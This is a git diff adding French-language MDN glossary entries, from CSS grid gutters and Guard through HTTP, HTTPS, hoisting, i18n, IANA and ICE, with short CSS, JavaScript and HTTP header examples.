+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +

{{ EmbedLiveSample('example_1', '500', '230') }}

+
+ +

Taille de piste dans la grille implicite

+ +

Les pistes créées dans la grille implicite ont une taille définie automatiquement par défaut, cependant, vous pouvez définir la taille de ces pistes en utilisant les propriétés {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}.

+ +

En apprendre plus

+ +

Références de propriété

+ +
    +
  • {{cssxref("grid-template-columns")}}
    • +
  • {{cssxref("grid-template-rows")}}
    • +
  • {{cssxref("grid-auto-rows")}}
    • +
  • {{cssxref("grid-auto-columns")}}
    • +
+ +

En lire plus

+ + diff --git a/files/fr/glossary/guard/index.html b/files/fr/glossary/guard/index.html new file mode 100644 index 0000000000..fd44e58217 --- /dev/null +++ b/files/fr/glossary/guard/index.html @@ -0,0 +1,10 @@ +--- +title: Guard +slug: Glossaire/Guard +tags: + - API + - Encodage + - Glossaire +translation_of: Glossary/Guard +--- +

Guard est une fonctionnalité des objets {{domxref("Headers")}} (en-têtes) (comme définis dans la {{domxref("Fetch_API","spécification Fetch")}}, qui permet aux méthodes telles que {{domxref("Headers.set","set()")}} et {{domxref("Headers.append","append()")}} de changer ou non les contenus des en-têtes. Par exemple, immutable guard signifie que les en-têtes ne peuvent être modifiés. Pour plus d'informations, lisez Les concepts de base Fetch : guard.

diff --git a/files/fr/glossary/gutters/index.html b/files/fr/glossary/gutters/index.html new file mode 100644 index 0000000000..608e93c8ae --- /dev/null +++ b/files/fr/glossary/gutters/index.html @@ -0,0 +1,74 @@ +--- +title: Gouttière +slug: Glossaire/Gutters +tags: + - CSS + - Glossaire + - Grilles +translation_of: Glossary/Gutters +--- +

Les gouttières (ou ruelles) sont l'espace entre les pistes de contenu. Elles peuvent être créées en CSS Grid Layout en utilisant les propriétés {{cssxref ("grid-column-gap")}}, {{cssxref ("grid-row-gap")}} ou {{cssxref ("grid-gap" )}}.

+ +

Dans l'exemple ci-dessous  nous avons une grille de pistes de 3 colonnes et 2 rangées, avec 20 pixels d'écart entre les pistes de colonnes et 20 px entre les pistes de lignes.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3,1.2fr);
+  grid-auto-rows: 45%;
+  grid-column-gap: 20px;
+  grid-row-gap: 20px;
+}
+
+ +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +

{{ EmbedLiveSample('example_1', '300', '280') }}

+
+ +

En terme de dimensionnement de la grille, l'écart agit comme une grille régulière, mais rien ne peut y être placé. L'écart agit comme si la ligne de grille à cet endroit avait gagné une taille supplémentaire, de sorte que tout élément de grille placé après cette ligne commence à la fin de l'écart.

+ +

Les propriétés de l'écart de grille ne sont pas la seule chose qui peut provoquer l'espacement des pistes. Les marges, le remplissage ou l'utilisation des propriétés de distribution d'espace pour l'alignement des boîtes peuvent tous contribuer à l'écart visible - donc les propriétés de l'écart de grille ne doivent pas être considérées comme égales à la taille de la gouttière, sauf si vous savez que votre conception n'a pas introduit d'espace supplémentaire avec l'une de ces méthodes.

+ +

En apprendre plus

+ +

Références de la propriété

+ +
    +
  • {{cssxref("grid-column-gap")}}
    • +
  • {{cssxref("grid-row-gap")}}
    • +
  • {{cssxref("grid-gap")}}
    • +
+ +

En lire plus

+ + diff --git a/files/fr/glossary/gzip_compression/index.html b/files/fr/glossary/gzip_compression/index.html new file mode 100644 index 0000000000..b561e34449 --- /dev/null +++ b/files/fr/glossary/gzip_compression/index.html @@ -0,0 +1,17 @@ +--- +title: Compression GZip +slug: Glossaire/GZip_compression +tags: + - Glossaire + - compression + - gzip +translation_of: Glossary/GZip_compression +--- +

gzip est un algorithme de compression qui permet de réduire la taille des fichiers, ce qui permet des transferts réseau plus rapides. Il est généralement pris en charge par les serveurs Web et les navigateurs modernes, ce qui signifie que les serveurs peuvent compresser automatiquement les fichiers avec gzip avant de les envoyer, et les navigateurs peuvent décompresser les fichiers lors de leur réception.

+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/hash/index.html b/files/fr/glossary/hash/index.html new file mode 100644 index 0000000000..21b1723b2e --- /dev/null +++ b/files/fr/glossary/hash/index.html @@ -0,0 +1,19 @@ +--- +title: hash +slug: Glossaire/hash +tags: + - Cryptographie + - Encodage + - Glossaire + - Hash +translation_of: Glossary/hash +--- +

La fonction de hachage prend en entrée un message de taille variable et produit en sortie un hash de taille fixe. Il se présente habituellement sous la forme d'une "empreinte" de 128 bits ou "message condensé". Les hashes sont également très utiles en {{glossary("cryptographie")}} en garantissant l'intégrité des données transmises. Il s'agit des blocs pour construire des {{glossary("HMAC")}} qui fournissent l'authentification de messages.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Fonction de hachage")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/head/index.html b/files/fr/glossary/head/index.html new file mode 100644 index 0000000000..db2eeed78d --- /dev/null +++ b/files/fr/glossary/head/index.html @@ -0,0 +1,21 @@ +--- +title: En-tête +slug: Glossaire/En-tête +tags: + - En-têtes + - Encodage + - Glossaire + - HTML + - métadonnée +translation_of: Glossary/Head +--- +

L'en-tête est la partie d'un document {{glossary("HTML")}} qui contient les {{glossary("métadonnée","métadonnées")}} qui le concernent, comme son auteur, sa description et des liens vers des fichiers {{glossary("CSS")}} ou {{glossary("JavaScript")}} qui s'appliquent au HTML.

+ +

Pour approfondir

+ +

En-tête HTML

+ +
    +
  • Référence sur l'élément {{htmlelement("head")}} sur MDN
    • +
  • La balise HTML <head> dans la zone d'apprentissage du MDN
    • +
diff --git a/files/fr/glossary/high-level_programming_language/index.html b/files/fr/glossary/high-level_programming_language/index.html new file mode 100644 index 0000000000..d217e17ac2 --- /dev/null +++ b/files/fr/glossary/high-level_programming_language/index.html @@ -0,0 +1,12 @@ +--- +title: Langage de programmation de haut niveau +slug: Glossaire/Langage_de_programmation_de_haut_niveau +tags: + - Glossaire + - Langage + - Programmation +translation_of: Glossary/High-level_programming_language +--- +

Un langage de programmation de haut niveau a une abstraction significative des détails du fonctionnement de l'ordinateur. Il est conçu pour être facilement compris par les humains et pour cette raison, il doit être traduit par un autre logiciel. Contrairement aux langages de programmation de bas niveau, il peut utiliser des éléments de langage naturel ou automatiser (voire masquer) des champs importants de système informatique, rendant le processus de développement plus simple et plus compréhensible par rapport à un langage de niveau inférieur. La quantité d'abstraction fournie définit la façon dont un langage de programmation est «de haut niveau».

+ +

L'idée d'un langage automatiquement traduisible en code machine, mais plus proche de la logique humaine, a été introduite en informatique dans les années 1950, notamment grâce au travail de John Backus (IBM), à qui nous devons le premier langage de haut niveau à avoir été largement diffusé : Fortran. Pour cette innovation, Bakus a reçu le prix Turing.

diff --git a/files/fr/glossary/hmac/index.html b/files/fr/glossary/hmac/index.html new file mode 100644 index 0000000000..228ec17c9b --- /dev/null +++ b/files/fr/glossary/hmac/index.html @@ -0,0 +1,28 @@ +--- +title: HMAC +slug: Glossaire/HMAC +tags: + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/HMAC +--- +

HMAC est un protocole utilisé pour les messages d'authentification {{Glossary("Cryptography","cryptographiquement")}}. Il peut utiliser toutes sortes de {{Glossary("Cryptographic hash function","fonctions de hachage cryptographique")}}, et sa force dépend de la fonction sous-jacente (SHA1 ou MD5 par exemple) et du choix de la clé secrète. Avec une telle combinaison, l'{{Glossary("Algorithm","algorithme")}} de vérification HMAC est alors repéré avec un nom composé comme HMAC-SHA1.

+ +

HMAC est utilisé pour s'assurer de l'intégrité et de l'authenticité.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Keyed-Hash_Message_Authentication_Code","HMAC")}} sur Wikipedia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/hoisting/index.html b/files/fr/glossary/hoisting/index.html new file mode 100644 index 0000000000..d95ea69677 --- /dev/null +++ b/files/fr/glossary/hoisting/index.html @@ -0,0 +1,71 @@ +--- +title: Hoisting +slug: Glossaire/Hoisting +tags: + - Encodage + - Glossaire + - JavaScript +translation_of: Glossary/Hoisting +--- +

Le hoisting (en français, "hissage") est un terme que vous ne trouverez dans aucune prose de spécification normative avant  l'ECMAScript® 2015.  Le hissage a été conçu comme une façon générale de penser à la manière dont les contextes d'exécution (précisément, les phases de création et d'exécution) fonctionnent en JavaScript. Toutefois, le concept peut être un peu déroutant à première vue.

+ +

Conceptuellement, par exemple, une définition stricte du hissage suggère que les déclarations de variables et de fonctions sont déplacées physiquement en haut de votre code, mais ce n'est pas ce qui se passe en fait. A la place, les déclarations de variables et de fonctions sont mises en mémoire pendant la phase de compilation, mais restent exactement là où vous les avez tapées dans votre code.

+ +

En apprendre plus

+ +

Exemple technique

+ +

L'un des avantages du fait que JavaScript met en mémoire les déclarations des fonctions avant d'exécuter un quelconque segment de code, est que cela vous permet d'utiliser une fonction avant que nous ne la déclariez dans votre code. Par exemple :

+ +
function nomChat(nom) {
+  console.log("Le nom de mon chat est " + nom);
+}
+
+nomChat("Tigrou");
+/*
+Le résultat du code ci-dessus est : "Le nom de mon chat est Tigrou"
+*/
+ +

Le fragment de code ci-dessus est la façon dont vous vous attendez à écrire le code pour qu'il fonctionne. Voyons maintenant ce qui se passe quand nous appelons la fonction avant de la déclarer :

+ +
nomChat("Chloé");
+
+function nomChat(nom) {
+  console.log("Le nom de mon chat est " + nom);
+}
+/*
+Le résultat du code ci-dessus est : "Le nom de mon chat est Chloé"
+*/
+ +

Même si nous appelons d'abord la fonction dans notre code, avant que la fonction ne soit écrite, le code fonctionne néanmoins. Cela est dû à la façon dont l'exécution de contexte fonctionne en Javascript.

+ +

Le hissage fonctionne tout aussi bien avec d'autres types de données et d'autres variables.  Les variables peuvent être initialisées et utilisées avant d'être déclarées. Mais elles ne peuvent pas être utilisées sans initialisation.

+ +

Exemple technique

+ +
num = 6;
+num + 7;
+var num;
+/* Ne donne aucune erreur tant que num est déclarée*/
+ +

JavaScript hisse seulement les déclarations, pas les initialisations. Si vous utilisez une variable qui est déclarée et initialisée après l'avoir utilisée, sa valeur sera indéfinie. Les deux exemples ci-dessous montrent le même comportement.

+ +
var x = 1; // Initialise x
+console.log(x + " " + y); // Affiche '1 undefined'
+var y = 2; // Initialise y
+
+
+// Le code suivant se comportera de la même façon que le code précédent:
+var x = 1; // Initialise x
+var y; // Déclare y
+console.log(x + " " + y); // Affiche '1 undefined'
+y = 2; // Initialise y
+
+ +

Références techniques

+ + diff --git a/files/fr/glossary/host/index.html b/files/fr/glossary/host/index.html new file mode 100644 index 0000000000..aea4026562 --- /dev/null +++ b/files/fr/glossary/host/index.html @@ -0,0 +1,19 @@ +--- +title: Hôte +slug: Glossaire/Host +tags: + - Glossaire + - Intermédiaire + - Web + - WebMechanics +translation_of: Glossary/Host +--- +

Un hôte est un périphérique connecté à l'{{glossary("Internet")}} (ou à un réseau local). Des hôtes appelés {{glossary("serveur","serveurs")}} offrent des services supplémentaires comme l'hébergement de pages web ou le stockage de fichiers et de courriels.

+ +

En savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Hôte (informatique)", "Hôte (informatique)")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/hotlink/index.html b/files/fr/glossary/hotlink/index.html new file mode 100644 index 0000000000..e5e6ac3cec --- /dev/null +++ b/files/fr/glossary/hotlink/index.html @@ -0,0 +1,17 @@ +--- +title: Hotlink +slug: Glossaire/Hotlink +tags: + - Glossaire + - Mécanismes web +translation_of: Glossary/Hotlink +--- +

Un hotlink (appelé aussi inline link (lien en ligne)) est un objet (typiquement une image) directement lié à un autre sur un autre site. Par exemple, une image hébergée sur site1.com est montrée directement sur site2.com.

+ +

La pratique est souvent désapprouvée car elle peut provoquer une utilisation non désirée de la bande passante sur le site web hébergeant l'objet lié, et des problèmes de droits d'auteur - elle est considérée comme un vol lorsqu'elle est effectuée sans autorisation.

+ +

En apprendre plus

+ +
    +
  • {{Interwiki("wikipedia","Hotlinking")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/houdini/index.html b/files/fr/glossary/houdini/index.html new file mode 100644 index 0000000000..e399075477 --- /dev/null +++ b/files/fr/glossary/houdini/index.html @@ -0,0 +1,24 @@ +--- +title: Houdini +slug: Glossaire/Houdini +tags: + - CSS + - CSS API + - Glossaire + - Houdini + - Reference +translation_of: Glossary/Houdini +--- +

Houdini est un ensemble d'API de bas niveau qui donnent aux développeurs la possibilité d'étendre le CSS, offrant la possibilité de se connecter au processus de style et de mise en page du moteur de rendu d'un navigateur. Houdini donne aux développeurs l'accès au modèle d'obet CSS (CSSOM), permettant aux développeurs d'écrire du code que le navigateur peut analyser en CSS. L'avantage de Houdini est que les développeurs peuvent créer des fonctionnalités CSS sans attendre les spécifications des normes Web pour les définir et sans attendre que chaque navigateur implémente complètement les fonctionnalités.

+ +

Bien que de nombreuses fonctionnalités activées par Houdini puissent être créées avec JavaScript, l'interaction directe avec le CSSOM avant l'activation de JavaScript permet des temps d'analyse plus rapides. Les navigateurs créent le CSSOM - y compris les processus de mise en page, de peinture et de composition - avant d'appliquer les mises à jour de style trouvées dans les scripts: les processus de mise en page, de peinture et de composition sont répétés pour que les styles JavaScript mis à jour soient implémentés. Le code Houdini n'attend pas la fin de ce premier cycle de rendu. Il est plutôt inclus dans ce premier cycle, créant des styles rendables et compréhensibles.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/hpkp/index.html b/files/fr/glossary/hpkp/index.html new file mode 100644 index 0000000000..90b99b88f7 --- /dev/null +++ b/files/fr/glossary/hpkp/index.html @@ -0,0 +1,20 @@ +--- +title: HPKP +slug: Glossaire/HPKP +tags: + - Glossaire + - Sécurité +translation_of: Glossary/HPKP +--- +

HTTP Public Key Pinning (HPKP) est une fonctionnalité de sécurité qui indique à un client Web d'associer une clé publique cryptographique spécifique à un certain serveur Web pour réduire le risque d'attaques {{Glossary("MitM")}} avec des certificats fabriqués .

+ +
+

En apprendre plus

+ + +
diff --git a/files/fr/glossary/hsts/index.html b/files/fr/glossary/hsts/index.html new file mode 100644 index 0000000000..7e3a118ebd --- /dev/null +++ b/files/fr/glossary/hsts/index.html @@ -0,0 +1,22 @@ +--- +title: HSTS +slug: Glossaire/HSTS +tags: + - Glossaire + - HTTP + - Sécurité +translation_of: Glossary/HSTS +--- +

HTTP Strict Transport Security permet à un site web d'informer le navigateur que son accès ne devrait pas se faire en HTTP et qu'il devrait donc convertir toute tentative de connexion en HTTP en connexion HTTPS. HSTS est un en-tête HTTP,  {{HTTPHeader("Strict-Transport-Security")}}, il est donc envoyé par le serveur au début de la réponse à une requête d'un client.

+ +

En d'autres termes, cela informe le navigateur que basculer d'HTTP à HTTPS dans l'url fonctionnera (et sera plus sécurisé) et lui demande de le faire systématiquement.

+ +
+

Pour approfondir

+ +
    +
  • {{HTTPHeader("Strict-Transport-Security")}}
    • +
  • Article OWASP : HTTP Strict Transport Security
    • +
  • Wikipedia : {{interwiki("wikipedia", "HTTP Strict Transport Security")}}
    • +
+
diff --git a/files/fr/glossary/html/index.html b/files/fr/glossary/html/index.html new file mode 100644 index 0000000000..8c14fdfcb4 --- /dev/null +++ b/files/fr/glossary/html/index.html @@ -0,0 +1,51 @@ +--- +title: HTML +slug: Glossaire/HTML +tags: + - Encodage + - Glossaire + - HTML + - 'l10n:priority' +translation_of: Glossary/HTML +--- +
{{QuickLinksWithSubpages("/fr/docs/Glossaire")}}
+ +

HTML (HyperText Markup Language) est un langage descriptif qui définit la structure d'une page web.

+ +

Bref historique

+ +

En 1990, lorsqu'il présente sa vision du {{Glossary("World Wide Web","Web")}}, Tim Berners-Lee définit le concept d'{{Glossary("Hypertext","hypertexte")}}, qu'il formalise l'année suivante avec un langage de balisage essentiellement basé sur {{Glossary("SGML")}}. L'{{Glossary("IETF")}} commence officiellement à spécifier le HTML en 1993, et publie la version 2.0 en 1995, après plusieurs versions de travail. En 1994, Berners-Lee fonde le {{Glossary("W3C")}} pour développer le Web. En 1996, le W3C reprend le travail sur le HTML et publie un an plus tard la recommandation HTML 3.2. HTML 4.0 fut publié en 1999 et devient une norme {{Glossary("ISO")}} en 2000.

+ +

À cette période, le W3C est sur le point d'abandonner le HTML au profit du {{Glossary("XHTML")}}, ce qui provoque la création d'un groupe indépendant appelé {{Glossary("WHATWG")}} en 2004.  Grâce au WHATWG, le travail sur le {{Glossary("HTML5")}} se poursuit : les deux organisations publient la première version de travail en 2008 puis la norme finale en 2014.

+ +

Concept et syntaxe

+ +

Un document HTML est un document texte brut structuré par des {{Glossary("Element","éléments")}}. Les éléments sont encadrés par des {{Glossary("Tag","balises")}} ouvrantes et fermantes associées. Chaque balise  commence et se termine par les caractères inférieur et supérieur (<>). Il existe quelques balises vides qui ne contiennent pas de texte, comme par exemple {{htmlelement("img")}}.

+ +

On peut préciser les balises HTML avec des {{Glossary("Attribute","attributs")}} pour fournir des informations complémentaires qui vont modifier la façon dont le navigateur va interpréter l'élément :

+ +

Detail of the structure of an HTML element

+ +

Un fichier HTML est généralement enregistré avec une extension .htm ou .html. Il est mis à disposition par un {{Glossary("Server","serveur web")}}, et le rendu est réalisé par un {{Glossary("Browser","navigateur Web")}}.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "HTML", "Hypertext_Markup_Language")}} sur Wikipédia
    • +
+ +

Apprendre le HTML

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/html5/index.html b/files/fr/glossary/html5/index.html new file mode 100644 index 0000000000..4e373b08ba --- /dev/null +++ b/files/fr/glossary/html5/index.html @@ -0,0 +1,17 @@ +--- +title: HTML5 +slug: Glossaire/HTML5 +tags: + - CodingScripting + - Glossaire + - HTML + - HTML5 +translation_of: Glossary/HTML5 +--- +

La dernière version stable du {{Glossary("HTML")}}, HTML5, transforme le HTML qui était un simple balisage pour structurer des documents en une plate-forme complète de développement d'applications. Parmi ses autres caractéristiques, HTML5 comporte de nouveaux éléments et des {{glossary("API")}} {{glossary("JavaScript")}} pour améliorer le stockage, le multimédia et l'accès au matériel.

+ +

Pour en savoir plus

+ + diff --git a/files/fr/glossary/http/index.html b/files/fr/glossary/http/index.html new file mode 100644 index 0000000000..1d8fd82b7b --- /dev/null +++ b/files/fr/glossary/http/index.html @@ -0,0 +1,24 @@ +--- +title: HTTP +slug: Glossaire/HTTP +tags: + - Débutant + - Glossaire + - HTTP + - Infrastructure +translation_of: Glossary/HTTP +--- +

L'Hypertext Transfer Protocol (HTTP) (Protocole de transfert hypertexte) est un {{glossary("Protocol","protocole")}} de base qui autorise le transfert de fichiers sur le {{glossary("World Wide Web","web")}}, typiquement entre un navigateur web et un serveur afin que des utilisateurs puissent les consulter. La version actuelle de la spécification HTTP s'appelle {{glossary("HTTP_2", "HTTP/2")}}.

+ +

Dans le cadre d'une {{glossary("URI")}}, la partie "http://" s'appelle le "schema" et commence la plupart du temps au début d'une addresse. Par exemple, dans "https://developer.mozilla.org", "https://" indique au navigateur de requêter le document au travers du protocole HTTP. Plus précisément, dans cet exemple, https fait référence à la version sécurisée du protocole HTTP, {{glossary("SSL")}} (also called TLS).

+ +

HTTP est textuel (toute communication est faite en texte clair) et sans état (aucune communication n'est au courant des communications précédentes). Cette dernière propriété permet à un utilisateur de naviguer facilement sur internet: la consultation des documents et sites web ne requiert pas de contexte particulier. HTTP peut également être utilisé dans le cadre de services REST pour la communication de serveur à serveur, ou bien via des requêtes AJAX au sein d'un site internet pour le rendre plus dynamique.

+ +
+

En apprendre plus

+ +
    +
  • HTTP sur MDN
    • +
  • {{interwiki("wikipedia","Hypertext_Transfer_Protocol","HTTP")}} sur Wikipedia
    • +
+
diff --git a/files/fr/glossary/http_2/index.html b/files/fr/glossary/http_2/index.html new file mode 100644 index 0000000000..7f9ec6bcfb --- /dev/null +++ b/files/fr/glossary/http_2/index.html @@ -0,0 +1,32 @@ +--- +title: HTTP/2 +slug: Glossaire/HTTP_2 +tags: + - Glossaire + - HTTP + - Infrastructure + - Performance du Web + - Reference + - 'l10n:priority' +translation_of: Glossary/HTTP_2 +--- +

HTTP/2 est une révision majeure du Protocole de réseau HTTP. Les principaux objectifs de HTTP/2 sont de réduire la {{glossary("latency","latence")}} en permettant le multiplexage complet des demandes et des réponses, minimiser la surcharge du protocole grâce à une compression efficace des champs d'en-tête HTTP, et ajouter la prise en charge de la priorisation des demandes et de la diffusion sur le serveur.

+ +

HTTP/2 ne modifie en aucune façon la sémantique d'application de HTTP. Tous les concepts fondamentaux de HTTP 1.1, tels que les méthodes HTTP, les codes d'état, les URL et les champs d'en-tête, restent en place. En revanche, HTTP/2 modifie la façon dont les données sont formatées (encadrées) et transportées entre le client et le serveur, qui gèrent tous deux l'ensemble du processus, et dissimule la complexité de l'application dans la nouvelle couche d'encadrement. Par conséquent, toutes les applications existantes peuvent être fournies sans modification.

+ + diff --git a/files/fr/glossary/http_3/index.html b/files/fr/glossary/http_3/index.html new file mode 100644 index 0000000000..973bf74d69 --- /dev/null +++ b/files/fr/glossary/http_3/index.html @@ -0,0 +1,28 @@ +--- +title: HTTP/3 +slug: Glossaire/HTTP_3 +tags: + - HTTP + - Intro + - NeedsContent +translation_of: Glossary/HTTP_3 +--- +

HTTP/3 est la prochaine révision majeure du protocole réseau HTTP, succédant à {{glossary("HTTP 2", "HTTP/2")}}. Le point majeur de HTTP/3 est qu'il utilise un nouveau protocole {{glossary("UDP")}} nommé QUIC, au lieu de {{glossary("TCP")}}.

+ + diff --git a/files/fr/glossary/http_header/index.html b/files/fr/glossary/http_header/index.html new file mode 100644 index 0000000000..ed5a9ea787 --- /dev/null +++ b/files/fr/glossary/http_header/index.html @@ -0,0 +1,62 @@ +--- +title: En-tête +slug: Glossaire/Header +tags: + - En-têtes + - Glossaire + - Mécanismes web +translation_of: Glossary/HTTP_header +--- +

Un en-tête HTTP est un champ de requête ou de réponse HTTP permettant de transmettre des informations supplémentaires modifiant ou précisant la sémantique du message ou de son contenu. Les en-têtes ne sont pas sensibles à la casse, commencent au début d'une ligne et sont immédiatemment suivis d'un ':' et d'une valeur dépendant de l'en-tête en question. La valeur se termine au retour chariot suivant ou à la fin du message.

+ +

Traditionnellement, les en-têtes sont classés en catégories, mais cette classification ne fait plus partie d'aucune spécification :

+ +
    +
  • {{Glossary("General header","en-tête général")}} : en-têtes applicables à la fois aux requêtes et aux réponses, mais sans lien avec les données eventuellement transmises dans le corps du message.
    • +
  • {{Glossary("Request header","en-tête de requête")}} : en-têtes contenant des informations supplémentaires sur la ressource à récupérer ou sur le client lui-même.
    • +
  • {{Glossary("Response header","en-tête de réponse")}} : en-têtes contenant des informations supplémentaires à propos de la réponse, telles que son emplacement, ou à propos du serveur lui-même (nom, version...).
    • +
  • {{Glossary("Entity header","en-tête d'entité")}} : en-têtes contenant des informations supplémentaires sur le corps de l'entité, telles que la taille de son contenu ou son type MIME.
    • +
+ +

Requête basique avec un seul en-tête :

+ +
GET /example.http HTTP/1.1
+Host: example.com
+
+ +

Les redirections ont des en-têtes obligatoires ({{HTTPHeader("Location")}}) :

+ +
302 Found
+Location: /NewPage.html
+
+ +

Un ensemble d'en-têtes typique :

+ +
304 Not Modified
+Access-Control-Allow-Origin: *
+Age: 2318192
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Date: Mon, 18 Jul 2016 16:06:00 GMT
+Server: Apache
+Vary: Accept-Encoding
+Via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (CloudFront)
+X-Amz-Cf-Id: TOl0FEm6uI4fgLdrKJx0Vao5hpkKGZULYN2TWD2gAWLtr7vlNjTvZw==
+X-Backend-Server: developer6.webapp.scl3.mozilla.com
+X-Cache: Hit from cloudfront
+X-Cache-Info: cached
+
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • Syntaxe des en-têtes dans la spécification HTTP.
    • +
+ +

Informations techniques

+ + diff --git a/files/fr/glossary/https/index.html b/files/fr/glossary/https/index.html new file mode 100644 index 0000000000..775d3ec276 --- /dev/null +++ b/files/fr/glossary/https/index.html @@ -0,0 +1,19 @@ +--- +title: HTTPS +slug: Glossaire/https +tags: + - Glossaire + - HTTPS + - Infrastructure + - Sécurité +translation_of: Glossary/https +--- +

HTTPS (HTTP Sécurisé) est une version chiffrée du protocole {{Glossary("HTTP")}}. Il utilise généralement {{Glossary("TLS")}} ou {{Glossary("SSL")}} pour chiffrer l'intégralité des communications entre un client et un serveur. La connexion sécurisée permet aux clients d'échanger de manière sûre des données sensibles avec un serveur, par exemple pour des transactions bancaires ou du commerce en ligne.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "HTTPS")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/hyperlink/index.html b/files/fr/glossary/hyperlink/index.html new file mode 100644 index 0000000000..68a4742bb8 --- /dev/null +++ b/files/fr/glossary/hyperlink/index.html @@ -0,0 +1,33 @@ +--- +title: Hyperlien +slug: Glossaire/Hyperlien +tags: + - Glossaire + - HTML + - Navigation +translation_of: Glossary/Hyperlink +--- +

Les hyperliens connectent des pages web ou des données à une autre. En HTML, l'élément {{HTMLElement("a")}} définit un hyperlien d'un endroit sur une page web (comme une chaîne de caractères ou une image) à un autre endroit sur une autre page web (ou même sur la même page).

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Hyperlien","Hyperlien")}} sur Wikipedia
    • +
  • Le guide Création d'hyperliens sur MDN
    • +
+ +

Référence technique

+ + + +

Apprendre sur le sujet

+ + diff --git a/files/fr/glossary/hypertext/index.html b/files/fr/glossary/hypertext/index.html new file mode 100644 index 0000000000..069c306f09 --- /dev/null +++ b/files/fr/glossary/hypertext/index.html @@ -0,0 +1,26 @@ +--- +title: Hypertexte +slug: Glossaire/Hypertexte +tags: + - Glossaire + - Mécanismes web + - Web +translation_of: Glossary/Hypertext +--- +

L'hypertexte est un texte contenant des liens vers d'autres textes, par opposition à un unique flux linéaire comme dans un roman.

+ +

Le terme a été inventé par Ted Nelson aux alentours de 1965.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Hypertexte", "Hypertexte")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/i18n/index.html b/files/fr/glossary/i18n/index.html new file mode 100644 index 0000000000..5acd79dec1 --- /dev/null +++ b/files/fr/glossary/i18n/index.html @@ -0,0 +1,48 @@ +--- +title: I18N +slug: Glossaire/I18N +tags: + - Crédibilité + - Débutant + - Glossaire + - Internationalisation + - OpenPractices + - i18n +translation_of: Glossary/I18N +--- +

i18n (issu de "internationalisation", un mot de 20 lettres) est l'ensemble des bonnes pratiques pour permettre à des produits ou des services d'être lisiblement adaptés à toute culture visée.

+ +
+

L’internationalisation est la conception et le développement d’un produit, d’une application ou d’un contenu de document qui permet une localisation facile pour les publics ciblés de culture, région et langue différentes. (Définition du {{Glossary("W3C")}})

+
+ +

Parmi d'autres choses, i18n nécessite le support de plusieurs…

+ +
    +
  • jeux de caractères (en général via Unicode)
    • +
  • unités de mesure (monnaie, °C/°F, km/miles, etc.)
    • +
  • formats de dates et heures
    • +
  • dispositions de clavier
    • +
  • directions de texte
    • +
+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Internationalisation_(informatique)", "i18n")}} sur Wikipédia
    • +
+ +

Référence technique

+ + + +

Apprendre sur ce sujet

+ + diff --git a/files/fr/glossary/iana/index.html b/files/fr/glossary/iana/index.html new file mode 100644 index 0000000000..76f280ef74 --- /dev/null +++ b/files/fr/glossary/iana/index.html @@ -0,0 +1,18 @@ +--- +title: IANA +slug: Glossaire/IANA +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/IANA +--- +

IANA (Internet Assigned Numbers Authority) est une composante de l'{{glossary("ICANN")}} chargée de l'enregistrement et/ou de l'attribution de {{glossary("Domain name","noms de domaines")}}, {{glossary("IP address","adresses IP")}}, et d'autres noms et numéros utilisés par les {{glossary("Protocol","protocoles")}} Internet.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • Site web officiel
    • +
  • {{interwiki("wikipedia", "Internet Assigned Numbers Authority", "IANA")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/icann/index.html b/files/fr/glossary/icann/index.html new file mode 100644 index 0000000000..3201d0e2a1 --- /dev/null +++ b/files/fr/glossary/icann/index.html @@ -0,0 +1,18 @@ +--- +title: ICANN +slug: Glossaire/ICANN +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/ICANN +--- +

ICANN (Internet Corporation of Assigned Names and Numbers) est une société à but non lucratif internationale qui maintient le {{glossary("DNS","système de noms de domaine")}} et l'enregistrement des {{glossary("IP address","adresses IP")}}.

+ +

Pour en savoir plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/ice/index.html b/files/fr/glossary/ice/index.html new file mode 100644 index 0000000000..e8f6774d77 --- /dev/null +++ b/files/fr/glossary/ice/index.html @@ -0,0 +1,37 @@ +--- +title: ICE +slug: Glossaire/ICE +tags: + - CodingScripting + - Glossaire + - Protocoles + - Réseau + - WebRTC +translation_of: Glossary/ICE +--- +

ICE (Interactive Connectivity Establishment) est un framework utilisé par {{glossary("WebRTC")}} (parmi d'autres technologies) pour connecter deux pairs ensemble, indépendamment de la topologie réseau (en général pour des conversations audio et/ou vidéo). Ce protocole laisse les deux pairs chercher et établir une connexion avec l'autre même s'ils utilisent tous les deux de la translation d'adresses ({{glossary("NAT")}}) pour partager une adresse IP globale avec d'autres périphériques sur leurs réseaux locaux respectifs.

+ +

